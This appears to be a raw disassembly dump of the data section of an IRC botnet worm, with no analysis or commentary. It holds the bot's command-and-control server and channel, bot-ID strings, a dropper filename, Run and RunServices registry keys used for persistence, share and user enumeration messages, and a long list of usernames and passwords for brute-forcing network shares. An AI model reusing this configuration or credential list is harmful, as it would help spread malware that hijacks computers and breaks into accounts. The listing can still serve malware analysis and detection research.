aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_40D835:loc_40D8CEo
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_40D835+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_40D835:loc_40D8A3o
		db 'dependent on it.',0
		align 10h
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_40D835:loc_40D899o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_40D835:loc_40D88Fo
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_40D835:loc_40D885o
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_40D835:loc_40D87Bo
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_40D835+3Co
		align 4
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_40D9B3+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_40D9B3:loc_40DA7Fo
aStarting	db '   Starting',0      ; DATA XREF: sub_40D9B3:loc_40DA78o
aStoping	db '    Stoping',0      ; DATA XREF: sub_40D9B3:loc_40DA71o
aRunning	db '    Running',0      ; DATA XREF: sub_40D9B3:loc_40DA6Ao
aContinuing	db ' Continuing',0      ; DATA XREF: sub_40D9B3:loc_40DA63o
aPausing	db '    Pausing',0      ; DATA XREF: sub_40D9B3:loc_40DA5Co
aPaused_0	db '     Paused',0      ; DATA XREF: sub_40D9B3:loc_40DA55o
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_40D9B3+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_40D9B3+25o
		align 4
dword_42EE38	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DAF0+ACo
		dd 2BBBB02h
aSNoShareSpecif	db '  %s: No share specified.',0
		align 4
dword_42EE6C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DAF0+8Ao
		dd 2BBBB02h
aSShareS_	db '  %s share: ',27h,'%s',27h,'.',0
		align 4
dword_42EE98	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DAF0+58o
		dd 2BBBB02h
aSErrorWithShar	db '  %s: Error with share: ',27h,'%s',27h,'. %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_40DCE6+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_40DCE6+BCo
		align 10h
aYes		db 'Yes',0              ; DATA XREF: sub_40DCE6+B5o
dword_42EEF4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DCE6+76o
		dd 2BBBB02h
aShareListError	db '  Share list error: %s <%ld>',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_40DCE6+26o
		align 4
dword_42EF64	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DE07+B7o
		dd 2BBBB02h
aSNoUsernameSpe	db '  %s: No username specified.',0
		align 4
dword_42EF9C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DE07+95o
		dd 2BBBB02h
aSErrorWithUser	db '  %s: Error with username: ',27h,'%s',27h,'. %s',0
dword_42EFD8	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DE07+6Do
		dd 2BBBB02h
aSUsernameS_	db '  %s username: ',27h,'%s',27h,'.',0
		align 4
dword_42F008	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DF4E+3AFo
		dd 2BBBB02h
aUserInfoErrorL	db '  User info error: <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_40DF4E+385o
		align 10h
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_40DF4E+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_40DF4E+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_40DF4E+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_40DF4E+2D9o
		align 10h
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_40DF4E+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_40DF4E+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_40DF4E+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_40DF4E+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_40DF4E+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_40DF4E+1D7o
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_40DF4E+1ACo
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_40DF4E+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_40DF4E+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_40DF4E+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_40DF4E:loc_40E06Do
		align 4
aUser_0		db 'User',0             ; DATA XREF: sub_40DF4E:loc_40E066o
		align 10h
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_40DF4E:loc_40E05Fo
					; ___:0042F774o ...
		align 10h
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_40DF4E+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_40DF4E+AFo
		align 10h
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_40DF4E+84o
		align 10h
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_40DF4E+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_40E337+14Fo
		align 4
dword_42F1D4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E337+F7o
		dd 2BBBB02h
aAnAccessViolat	db '  An access violation has occured.',0
		align 10h
aS_4		db '  %S',0             ; DATA XREF: sub_40E337+BEo
		align 4
dword_42F218	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E337+7Ao
		dd 2BBBB02h
aUserListErrorS	db '  User list error: %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_40E337+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_40E4B7:loc_40E5D4o
		align 10h
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_40E4B7:loc_40E5CDo
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_40E4B7:loc_40E5C6o
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E5BFo
		align 4
aAnUnknownError	db 'An unknown error occurred.',0 ; DATA XREF: sub_40E4B7:loc_40E5B8o
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_40E4B7:loc_40E59Bo
		db 'ord policy requirement.)',0
		align 10h
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_40E4B7:loc_40E594o
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_40E4B7:loc_40E58Do
		align 10h
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_40E4B7+CFo
		db ' the domain.',0
		align 10h
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_40E4B7:loc_40E562o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E55Bo
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_40E4B7:loc_40E554o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_40E4B7:loc_40E54Ao
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_40E4B7+89o
		align 10h
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E524o
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_40E4B7:loc_40E51Ao
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_40E4B7:loc_40E510o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_40E4B7:loc_40E506o
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_40E4B7:loc_40E4FCo
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_40E4B7+3Bo
		align 10h
dword_42F530	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E5EB+ABo
		dd 2BBBB02h
aSServerSMessag	db '  %s <Server: %S> <Message: %S>',0
dword_42F568	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E5EB+81o
		dd 2BBBB02h
aMessageSentSuc	db '  Message sent successfully.',0
		align 10h
dword_42F5A0	dd 1B58h		; DATA XREF: ___:0040EA4Cr
					; ___:0040EAFFr
dword_42F5A4	dd 0C8Bh		; DATA XREF: ___:0040EB4Br
dword_42F5A8	dd 30EAh		; DATA XREF: sub_40EE72:loc_414C0Ar
dword_42F5AC	dd 18F4h		; DATA XREF: sub_407252+3Br
					; sub_40EE72+52E6r
dword_42F5B0	dd 1BB0h		; DATA XREF: sub_407252:loc_407501r
					; sub_40EE72:loc_41424Dr
dword_42F5B4	dd 0A84h		; DATA XREF: sub_40EE72:loc_4143C3r
dword_42F5B8	dd 1			; DATA XREF: sub_40EE72+665r
dword_42F5BC	dd 1			; DATA XREF: ___:0040E7E6r
dword_42F5C0	dd 1			; DATA XREF: sub_40AC42+Cr
					; ___:loc_40E9D8r
byte_42F5C4	db 2Eh			; DATA XREF: sub_40CFE3:loc_40CFEFr
					; sub_40EE72+B05r ...
		align 4
dword_42F5C8	dd 6			; DATA XREF: sub_415996+2Br
					; sub_415996+51r ...
dword_42F5CC	dd 4			; DATA XREF: sub_40EB92+78r
					; sub_40EE72+279r ...
a8652		db '8652',0
		align 4
aCool_0		db 'cool',0
		align 10h
aMan		db 'man',0
		align 8
aSym		db 'sym',0
		dd 0
		db 2 dup(0)
byte_42F5F2	db 1			; DATA XREF: sub_40EE72:loc_413D44r
					; sub_40EE72+4EDCo
aAsn445		db 'asn445',0
		align 4
		dd 100h, 3 dup(0)
aBotid		db 'botid',0            ; DATA XREF: ___:0040E703o
					; sub_40EE72+3E42o ...
		align 4
aAbosal7Tool	db 'ABOSAL7 tool',0     ; DATA XREF: sub_40EE72:loc_414E22o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_40EE72+6129o
					; sub_40EE72+61F8o
		align 4
aSaber_ircqforu	db 'saber.ircqforum.com',0 ; DATA XREF: ___:0040EA37o
					; ___:0040EAF0o
aFaak		db '#faak#',0           ; DATA XREF: ___:0040EA58o
					; ___:0040EB06o
		align 4
aSaad_		db 'saad.',0            ; DATA XREF: ___:0040EA6Fo
					; ___:0040EB18o
		align 10h
byte_42F650	db 73h			; DATA XREF: ___:loc_40EB2Er
					; ___:0040EB3Co
aAber_ircqforum	db 'aber.ircqforum.com',0
aFaak_0		db '#faak#',0           ; DATA XREF: ___:0040EB52o
		align 4
aSaad__0	db 'saad.',0            ; DATA XREF: ___:0040EB64o
		align 4
byte_42F674	db 66h			; DATA XREF: sub_402B84+Fo
					; sub_4030E8+81o ...
		db 69h,	72h, 73h
		dd 69777374h, 78652E6Eh, 65h
dword_42F684	dd 65627663h, 6C642E69h, 6Ch ; DATA XREF: sub_4022C6+3Do
aSystam13	db 'Systam13',0         ; DATA XREF: sub_40C1AE+Eo
		align 4
aBot		db '[bot]-',0           ; DATA XREF: sub_415996+12o
		align 4
aFirstswin_exe	db 'firstswin.exe',0
		align 4
aXi		db '+xi',0              ; DATA XREF: sub_40EE72+6274o
aF		db '#f',0               ; DATA XREF: sub_40EE72:loc_4120F1o
					; sub_40EE72+509Co
		align 4
aF_0		db '#f',0               ; DATA XREF: sub_40EE72+1F2Fo
		align 10h
aF_1		db '#f',0               ; DATA XREF: sub_40EE72+1D75o
		align 4
off_42F6C4	dd offset a@admin_com	; DATA XREF: sub_40EE72:loc_414FEEo
					; "*@admin.com"
off_42F6C8	dd offset aH4ckerTool	; DATA XREF: sub_40EE72+8CFr
					; sub_40EE72+6198o
					; "h4cker tool"
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicro_1	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_415F88+28o
					; sub_4162AC+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_415F88+D4o
					; sub_4162AC+D4o
		align 4
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		align 8
		dd offset byte_43C80C
		dd offset byte_43C80C
		dd offset aAdministrato_1 ; "ADMINISTRATOR"
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aFubar	; "fubar"
		dd offset aBla		; "bla"
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aRoot		; "root"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aPassword	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare_0	; "SHARE"
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aOwner_0	; "OWNER"
		dd offset aOwner_1	; "Owner"
		dd offset aEdu		; "edu"
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser_1	; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem	; "SYSTEM"
		dd offset aServer_0	; "SERVER"
		dd offset aPepsi	; "pepsi"
		dd offset aLocal	; "LOCAL"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aChangeme_0	; "Changeme"
		dd offset aTemp123	; "temp123"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a654321	; "654321"
		dd offset a54321	; "54321"
		dd offset a111		; "111"
		dd offset a11111111	; "11111111"
		dd offset a88888888	; "88888888"
		dd offset aPass_0	; "pass"
		dd offset aPasswd	; "passwd"
		dd offset aDatabase	; "database"
		dd offset aAbcd		; "abcd"
		dd offset aAbc123	; "abc123"
		dd offset aOracle	; "oracle"
		dd offset aSybase	; "sybase"
		dd offset a123qwe	; "123qwe"
		dd offset aComputer	; "computer"
		dd offset aInternet	; "Internet"
		dd offset aSuper	; "super"
		dd offset a123asd	; "123asd"
		dd offset aIhavenopass	; "ihavenopass"
		dd offset aGodblessyou	; "godblessyou"
		dd offset aEnable	; "enable"
		dd offset aXp_0		; "xp"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2600		; "2600"
		dd offset a110		; "110"
		dd offset a111111	; "111111"
		dd offset a121212	; "121212"
		dd offset a123123	; "123123"
		dd offset a1234qwer	; "1234qwer"
		dd offset a123abc	; "123abc"
		dd offset a007		; "007"
		dd offset aAlpha	; "alpha"
		dd offset aPatrick	; "patrick"
		dd offset aPat		; "pat"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aFoobar	; "foobar"
		dd offset aNilez	; "Nilez"
		dd offset aDevil	; "devil"
		dd offset aNetdevil	; "netdevil"
		dd offset aNetDevil	; "net-devil"
		dd offset a0wned	; "0wned"
		dd offset aOwned	; "owned"
		dd offset aIrule	; "irule"
		dd offset aNetfuck	; "netfuck"
		dd offset aFucked	; "fucked"
		dd offset aCrash	; "crash"
		dd offset aA_1		; "a"
		dd offset aAaa		; "aaa"
		dd offset aAbc		; "abc"
		dd offset aTest123	; "test123"
		dd offset aWin		; "win"
		dd offset aPc		; "pc"
		dd offset aAsdf		; "asdf"
		dd offset aSecret	; "secret"
		dd offset aQwer		; "qwer"
		dd offset aYxcv		; "yxcv"
		dd offset aZxcv		; "zxcv"
		dd offset aHome		; "home"
		dd offset aLogin	; "login"
		dd offset aPwd		; "pwd"
		dd offset aLove		; "love"
		dd offset aMypc		; "mypc"
		dd offset aMypc123	; "mypc123"
		dd offset aAdmin123	; "admin123"
		dd offset aPw123	; "pw123"
		dd offset aMypass	; "mypass"
		dd offset aMypass123	; "mypass123"
		dd offset aPw		; "pw"
		dd offset aMat		; "Mat"
		dd offset aMatt		; "Matt"
		dd offset aMatthew	; "Matthew"
		dd offset aGobo		; "gobo"
		dd offset aSatan	; "satan"
		dd offset aSatanik	; "satanik"
		dd offset aSatanic	; "satanic"
		dd offset aSpaceman	; "spaceman"
		dd offset aHeaven	; "heaven"
		dd offset aW00t		; "w00t"
		dd offset a0wn3d	; "0wn3d"
		dd offset aKiller	; "killer"
		dd offset aLeet		; "leet"
		dd offset aL33t		; "l33t"
		dd offset aL337		; "l337"
		dd offset aHacker	; "hacker"
		dd offset aHax0r	; "hax0r"
		dd offset aScript	; "script"
		dd offset aScriptkiddie	; "scriptkiddie"
		dd offset aKiddie	; "kiddie"
		dd offset aMirc_0	; "mirc"
		dd offset aUwontguessme	; "uwontguessme"
		dd offset aYouwontguessme ; "youwontguessme"
		dd offset aGuessme	; "guessme"
		dd offset asc_434C2C	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset dword_4289BC
		dd offset a00		; "00"
		dd offset aDeath	; "death"
		dd offset aTesting	; "testing"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset aAcademia	; "academia"
		dd offset aAcademic	; "academic"
		dd offset aAccept	; "accept"
		dd offset aAccount	; "account"
		dd offset aAction	; "action"
		dd offset aAdam		; "adam"
		dd offset aAdrian	; "adrian"
		dd offset aAdrianna	; "adrianna"
		dd offset aAdult	; "adult"
		dd offset aAerobics	; "aerobics"
		dd offset aAids		; "aids"
		dd offset aAirplane	; "airplane"
		dd offset aAlaska	; "alaska"
		dd offset aAlbany	; "albany"
		dd offset aAlbatros	; "albatros"
		dd offset aAlbert	; "albert"
		dd offset aAlert	; "alert"
		dd offset aAlex		; "alex"
		dd offset aAlexande	; "alexande"
		dd offset aAlgebra	; "algebra"
		dd offset aAlias	; "alias"
		dd offset aAliases	; "aliases"
		dd offset aAlice	; "alice"
		dd offset aAlicia	; "alicia"
		dd offset aAlisa	; "alisa"
		dd offset aAlison	; "alison"
		dd offset aAllison	; "allison"
		dd offset aAllow	; "allow"
		dd offset aAlphabet	; "alphabet"
		dd offset aAmadeus	; "amadeus"
		dd offset aAmanda	; "amanda"
		dd offset aAmber	; "amber"
		dd offset aAmerica	; "america"
		dd offset aAmorphou	; "amorphou"
		dd offset aAnal		; "anal"
		dd offset aAnalog	; "analog"
		dd offset aAnarchis	; "anarchis"
		dd offset aAnarchy	; "anarchy"
		dd offset aAnchor	; "anchor"
		dd offset aAndrea	; "andrea"
		dd offset aAndroid	; "android"
		dd offset aAndromac	; "andromac"
		dd offset aAndy		; "andy"
		dd offset aAnfo		; "anfo"
		dd offset aAngela	; "angela"
		dd offset aAngerine	; "angerine"
		dd offset aAngie	; "angie"
		dd offset aAnimal	; "animal"
		dd offset aAnimals	; "animals"
		dd offset aAnita	; "anita"
		dd offset aAnna		; "anna"
		dd offset aAnne		; "anne"
		dd offset aAnnette	; "annette"
		dd offset aAnon		; "anon"
		dd offset aAnonymou	; "anonymou"
		dd offset aAnswer	; "answer"
		dd offset aAnthrax	; "anthrax"
		dd offset aAnthropo	; "anthropo"
		dd offset aAnvils	; "anvils"
		dd offset aAnything	; "anything"
		dd offset aApollo13	; "apollo13"
		dd offset aApril	; "april"
		dd offset aAria		; "aria"
		dd offset aAriadne	; "ariadne"
		dd offset aArlene	; "arlene"
		dd offset aArmy		; "army"
		dd offset aArrow	; "arrow"
		dd offset aArthur	; "arthur"
		dd offset aArtist	; "artist"
		dd offset aAsian	; "asian"
		dd offset aAsshole	; "asshole"
		dd offset aAthena	; "athena"
		dd offset aAtmosphe	; "atmosphe"
		dd offset aAtom		; "atom"
		dd offset aAttack	; "attack"
		dd offset aAuthoriz	; "authoriz"
		dd offset aAztecs	; "aztecs"
		dd offset aAzure	; "azure"
		dd offset aBabe		; "babe"
		dd offset aBaby		; "baby"
		dd offset aBacchus	; "bacchus"
		dd offset aBackdoor	; "backdoor"
		dd offset aBadass	; "badass"
		dd offset aBailey	; "bailey"
		dd offset aBall		; "ball"
		dd offset aBanana	; "banana"
		dd offset aBananas	; "bananas"
		dd offset aBandit	; "bandit"
		dd offset aBank		; "bank"
		dd offset aBanks	; "banks"
		dd offset aBarbara	; "barbara"
		dd offset aBarber	; "barber"
		dd offset aBare		; "bare"
		dd offset aBarf		; "barf"
		dd offset aBaritone	; "baritone"
		dd offset aBart		; "bart"
		dd offset aBartman	; "bartman"
		dd offset aBaseball	; "baseball"
		dd offset aBasic	; "basic"
		dd offset aBass		; "bass"
		dd offset aBassoon	; "bassoon"
		dd offset aBatch	; "batch"
		dd offset aBatman	; "batman"
		dd offset aBeach	; "beach"
		dd offset aBeammeup	; "beammeup"
		dd offset aBear		; "bear"
		dd offset aBeast	; "beast"
		dd offset aBeater	; "beater"
		dd offset aBeauty	; "beauty"
		dd offset aBeaver	; "beaver"
		dd offset aBecky	; "becky"
		dd offset aBeethove	; "beethove"
		dd offset aBegin	; "begin"
		dd offset aBehead	; "behead"
		dd offset aBell		; "bell"
		dd offset aBeloved	; "beloved"
		dd offset aBenz		; "benz"
		dd offset aBeowulf	; "beowulf"
		dd offset aBerkeley	; "berkeley"
		dd offset aBerlin	; "berlin"
		dd offset aBerliner	; "berliner"
		dd offset aBeryl	; "beryl"
		dd offset aBeta		; "beta"
		dd offset aBeth		; "beth"
		dd offset aBetsie	; "betsie"
		dd offset aBetty	; "betty"
		dd offset aBeverly	; "beverly"
		dd offset aBible	; "bible"
		dd offset aBicamera	; "bicamera"
		dd offset aBigfoot	; "bigfoot"
		dd offset aBill		; "bill"
		dd offset aBinary	; "binary"
		dd offset aBios		; "bios"
		dd offset aBird		; "bird"
		dd offset aBishop	; "bishop"
		dd offset aBitch	; "bitch"
		dd offset aBitmap	; "bitmap"
		dd offset aBitnet	; "bitnet"
		dd offset aBlack	; "black"
		dd offset aBlonde	; "blonde"
		dd offset aBlondie	; "blondie"
		dd offset aBlood	; "blood"
		dd offset aBloodaxe	; "bloodaxe"
		dd offset aBlow		; "blow"
		dd offset aBlowjob	; "blowjob"
		dd offset aBlue		; "blue"
		dd offset aBlues	; "blues"
		dd offset aBoard	; "board"
		dd offset aBomb		; "bomb"
		dd offset aBoner	; "boner"
		dd offset aBoob		; "boob"
		dd offset aBoobs	; "boobs"
		dd offset aBook		; "book"
		dd offset aBorn		; "born"
		dd offset aBoyscout	; "boyscout"
		dd offset aBradley	; "bradley"
		dd offset aBrandi	; "brandi"
		dd offset aBrandy	; "brandy"
		dd offset aBravo	; "bravo"
		dd offset aBreak	; "break"
		dd offset aBreast	; "breast"
		dd offset aBrenda	; "brenda"
		dd offset aBrian	; "brian"
		dd offset aBridget	; "bridget"
		dd offset aBroadway	; "broadway"
		dd offset aBrothel	; "brothel"
		dd offset aBrunette	; "brunette"
		dd offset aBrute	; "brute"
		dd offset aBrutefor	; "brutefor"
		dd offset aBulls	; "bulls"
		dd offset aBullshit	; "bullshit"
		dd offset aBumbling	; "bumbling"
		dd offset aBung		; "bung"
		dd offset aBurgess	; "burgess"
		dd offset aBurn		; "burn"
		dd offset aButch	; "butch"
		dd offset aButt		; "butt"
		dd offset aButthead	; "butthead"
		dd offset aCaliforn	; "californ"
		dd offset aCamille	; "camille"
		dd offset aCampanil	; "campanil"
		dd offset aCamping	; "camping"
		dd offset aCandi	; "candi"
		dd offset aCandy	; "candy"
		dd offset aCantor	; "cantor"
		dd offset aCaptain	; "captain"
		dd offset aCapture	; "capture"
		dd offset aCard		; "card"
		dd offset aCardinal	; "cardinal"
		dd offset aCaren	; "caren"
		dd offset aCarla	; "carla"
		dd offset aCarmen	; "carmen"
		dd offset aCarol	; "carol"
		dd offset aCarole	; "carole"
		dd offset aCarolina	; "carolina"
		dd offset aCaroline	; "caroline"
		dd offset aCarrie	; "carrie"
		dd offset aCarson	; "carson"
		dd offset aCascades	; "cascades"
		dd offset aCash		; "cash"
		dd offset aCastle	; "castle"
		dd offset aCatherin	; "catherin"
		dd offset aCatholic	; "catholic"
		dd offset aCathy	; "cathy"
		dd offset aCave		; "cave"
		dd offset aCayuga	; "cayuga"
		dd offset aCecily	; "cecily"
		dd offset aCelt		; "celt"
		dd offset aCeltic	; "celtic"
		dd offset aCeltics	; "celtics"
		dd offset aCerulean	; "cerulean"
		dd offset aChange	; "change"
		dd offset aCharity	; "charity"
		dd offset aCharles	; "charles"
		dd offset aCharlie	; "charlie"
		dd offset aCharming	; "charming"
		dd offset aCharon	; "charon"
		dd offset aChat_0	; "chat"
		dd offset aChem		; "chem"
		dd offset aChemistr	; "chemistr"
		dd offset aChess	; "chess"
		dd offset aChester	; "chester"
		dd offset aChip		; "chip"
		dd offset aChris	; "chris"
		dd offset aChristin	; "christin"
		dd offset aChristy	; "christy"
		dd offset aCigar	; "cigar"
		dd offset aCigarett	; "cigarett"
		dd offset aCindy	; "cindy"
		dd offset aClass	; "class"
		dd offset aClasses	; "classes"
		dd offset aClassic	; "classic"
		dd offset aClaudia	; "claudia"
		dd offset aClaymore	; "claymore"
		dd offset aCleavage	; "cleavage"
		dd offset aClinton	; "clinton"
		dd offset aCluster	; "cluster"
		dd offset aClusters	; "clusters"
		dd offset aCoast	; "coast"
		dd offset aCocacola	; "cocacola"
		dd offset aCocainco	; "cocainco"
		dd offset aCock		; "cock"
		dd offset aCode		; "code"
		dd offset aCodename	; "codename"
		dd offset aCodeword	; "codeword"
		dd offset aCoffee	; "coffee"
		dd offset aCoin		; "coin"
		dd offset aCoke		; "coke"
		dd offset aCola		; "cola"
		dd offset aCold		; "cold"
		dd offset aCollins	; "collins"
		dd offset aColor	; "color"
		dd offset aCombat	; "combat"
		dd offset aComics	; "comics"
		dd offset aCommit	; "commit"
		dd offset aCommrade	; "commrade"
		dd offset aCompany	; "company"
		dd offset aComputin	; "computin"
		dd offset aComrade	; "comrade"
		dd offset aComrades	; "comrades"
		dd offset aCondo	; "condo"
		dd offset aCondom	; "condom"
		dd offset aConnect	; "connect"
		dd offset aConnie	; "connie"
		dd offset aConserva	; "conserva"
		dd offset aConsole	; "console"
		dd offset aContinue	; "continue"
		dd offset aCook		; "cook"
		dd offset aCookbook	; "cookbook"
		dd offset aCookie	; "cookie"
		dd offset aCool_1	; "cool"
		dd offset aCooper	; "cooper"
		dd offset aCopper	; "copper"
		dd offset aCops		; "cops"
		dd offset aCopy		; "copy"
		dd offset aCorneliu	; "corneliu"
		dd offset aCorrect	; "correct"
		dd offset aCounters	; "counters"
		dd offset aCountry	; "country"
		dd offset aCouscous	; "couscous"
		dd offset aCowboy	; "cowboy"
		dd offset aCrack	; "crack"
		dd offset aCrackpot	; "crackpot"
		dd offset aCream	; "cream"
		dd offset aCreate	; "create"
		dd offset aCreation	; "creation"
		dd offset aCreature	; "creature"
		dd offset aCredit	; "credit"
		dd offset aCreosote	; "creosote"
		dd offset aCretin	; "cretin"
		dd offset aCrime	; "crime"
		dd offset aCriminal	; "criminal"
		dd offset aCristina	; "cristina"
		dd offset aCrystal	; "crystal"
		dd offset aCshrc	; "cshrc"
		dd offset aCunt		; "cunt"
		dd offset aCustomer	; "customer"
		dd offset aCyber	; "cyber"
		dd offset aCyberpun	; "cyberpun"
		dd offset aCyberspa	; "cyberspa"
		dd offset aCynthia	; "cynthia"
